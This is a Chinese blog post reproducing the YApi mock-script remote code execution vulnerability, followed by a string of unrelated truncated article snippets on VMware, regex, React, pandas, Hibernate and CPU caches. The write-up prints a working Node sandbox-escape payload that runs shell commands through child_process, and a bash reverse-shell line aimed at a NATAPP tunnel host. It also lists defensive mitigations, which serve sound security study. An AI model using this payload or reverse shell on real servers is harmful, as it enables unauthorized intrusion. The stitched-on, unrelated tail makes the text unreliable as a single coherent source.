API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。
YApi7月7日前版本,即版本<=1.92(后文有说明)
地址:https://github.com/Ryan-Miao/docker-yapi
git clone https://github.com/Ryan-Miao/docker-yapi.git
然后启动环境
docker-compose up -d
加个-d在后台运行比较方便,如果想看到镜像的运行过程,可以不加-d,如下图
地址 :https://github.com/YMFE/yapi/
下载后npm安装
npm install -g yapi-cli --registry https://registry.npm.taobao.org
目录下启动环境
yapi server
服务管理
启动环境后访问9090端口开始部署环境
直接默认部署即可,也可以选择版本
等待部署完成。
翻车:
应该是没有MongoDB服务导致的
具体可以看这篇文章:https://www.cnblogs.com/jackson-yqj/p/11043770.html
curl -O https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-4.0.10.tgz # 下载
tar -zxvf mongodb-linux-x86_64-4.0.10.tgz # 解压
mv mongodb-linux-x86_64-4.0.10/ /usr/local/mongodb # 将解压包拷贝到指定目录
vim /etc/profile
会提示文件已存在,输入“e”,回车,然后键盘按下“i” ,进入编辑模式即可。在文件的最后加上:
#mongodb
export PATH=$PATH:/usr/local/mongodb/bin
mkdir data/db
mkdir data/logs
1,进入bin目录下:cd /usr/local/mongodb/bin
2,创建mongodb.conf配置文件:vim mongodb.conf
会提示是new file,直接输入下面内容:
保存好。
1,进入bin目录下:cd /usr/local/mongodb/bin
2,加载配置文件方式启动:./mongod -f mongodb.conf
报错
看这篇文章:https://blog.csdn.net/qq_42910468/article/details/103076136
再次失败!放弃
git clone https://github.com/fjc0k/docker-YApi.git
docker-compose up -d
搭建成功,但是复现之后发现已经修复了
这里虽然关闭了注册,我们在docker-compose.yml中将true修改为flase,关闭这个功能,这也是这个漏洞的防护方法之一
然后重启镜像,随意注册一个用户
3、添加接口
写入Poc:i whoami &&ls /tmp即为要执行的命令,记得保存
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ls /tmp").toString()
回到预览位置,访问地址
翻车
说明该git下载的版本已经修复这个漏洞了。。 查看一下文档,果然。因此,漏洞版本为1.92之前的版本。。。
这里因为版本问题复现复现失败,但是过程是一致的,后面利用vulfocus复现一下,只展示结果
同样,也可以利用命令实现反弹shell。
这里利用NATAPP实现隧道穿透到虚拟机https://natapp.cn/
端口映射到公网上进行反弹shell
开启 ./natapp -authtoken=填自己的token值
监听4444端口 nc -lvp 4444
然后反弹shell命令
bash -i >& /dev/tcp/server.natappfree.cc/45741 0>&1
先鸽了没成功
1、关闭YApi用户注册功能;修改完成后,重启YApi服务
在"config.json"添加"closeRegister:true"配置项:
{
"port": "*****",
"closeRegister":true
}
2、暂时关闭mock功能(需要修改YApi代码)
在"config.json"中添加"mock: false";
"exts/yapi-plugin-andvanced-mock/server.js"中找到
if (caseData&&caseData.case_enable{
...}
在其上方添加
if(!yapi.WEBCONFIG.mock) {
return false;}
3、白名单限制;
安全组配置白名单访问,或者使用NGINX进行代理,限制白名单IP访问;
4、检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。
如下图:先将vmware关闭,打开虚拟机的安装位置,找到vmx文件,如下:用记事本打开该文件,找到如下行:将TRUE改为FALSE,保存,再打开虚拟机。。
myeclipse设置及快捷键
java的写法: String pattern = "^((1[358][0-9])|(14[57])|(17[0678])|(19[7]))\\d{8}$"; javascript的写法: var ...
Python开发工程师岗位职责1、负责多个垂直频道的数据抓取工作、研究各种网站、网页、链接的形态,发现它们的特点和规律;2、对抓取的数据进行除重,匹配,过滤等处理;3、网络爬虫工具的设计、开发及优化;4、网页信息抽取等核心算法的研究和优化;5、熟悉网络爬虫原理,设计,实现岗位要求1、熟练Python语言,有go、java等其他语言开发经验者优先,有扎实的数据结构和算法功底;2、理...
https://blog.csdn.net/weixin_38399962/article/details/80358168转载于:https://www.cnblogs.com/xikui/p/11195522.html
大家好,我是叶玄shine。一位热爱生活、热爱PPT的骚年。前两天有朋友在知乎上问我,下面这些图片用PPT怎么做到的?弯折图层次图渐变形状图毛玻璃我的答案:OneKey Lite。那什么是OneKey Lite(以下简称OK)呢?OK是一款PPT插件。是由一位大师@只为设计开发完成的,现在已经有一百四五十个功能。功能涵盖形状、调色、图片、演示、辅助等方面。在图片形状处理方面尤为突出。清楚了吧,如果...
一、React.FC用React.FC可以在组件中改变state的值import React, { useState } from 'react';export interface UserProps { updateModalVisible: boolean;}const User: React.FC<UserProps> = () => { let [count, setCount] = useState(4); const changeVal = () =
点击上方蓝色“Linux News搬运工”关注我们~5.3 Kernel development cycle statisticsByJonathan Corbet截至...
今天在使用jquery.uploadify.js上传文件的时候,出现HTTP 404错误,此错误在上传较小文件时不会出现,在上传一个50M左右文件时出现此错误,经过测试和日志查看发现,根本没有进入后台服务端代码(MVC);检查了uploadify的相关参数,也没有发现问题:'fileSizeLimit': 0, //不限制文件大小'successTimeout':36000, //超时
import numpy as npimport pandas as pd"""pandas查询数据的几种方法1.df.loc,根据行列标签值进行查询2.df.iloc,根据行列的数字位置进行查询3.df.where4.df.query*:.loc既能查询,又能覆盖写入pandas使用df.loc查询数据的方法1.使用单个label值进行查询2.使用值列表进行批量查询3.使用数值区间进行范围查询4.使用条件表达式进行查询5.使用函数进行查询注意:1.以上查询方法既适用于行
版本Library Current Upgraded Hibernate-core 3.6.10.Final 5.4.18.final Hibenrate-valicator 4.2.0.Final 6.1.5.final 1. 抛javax.persistence.TransactionRequiredException异常如果没有事务时javax.persistence.TransactionRequiredException: Executing
前言五一小长假过完了,在刷了四天剧后又要开启975养老生活了,收假第一天补一篇关于CPU高速缓存的文章,错误之处欢迎大家指正。正文为什么需要高速缓存我们都知道,程序是由一条条指令和数据组成的,CPU在运行时的工作也是周而复始的执行一条条用途各异的指令。在一开始,程序加载到主存,在程序执行的过程中,将指令一条条的从主存中取出并执行,宏观上来说我们把主存看做是一个很大的一维字节数组,地址即可...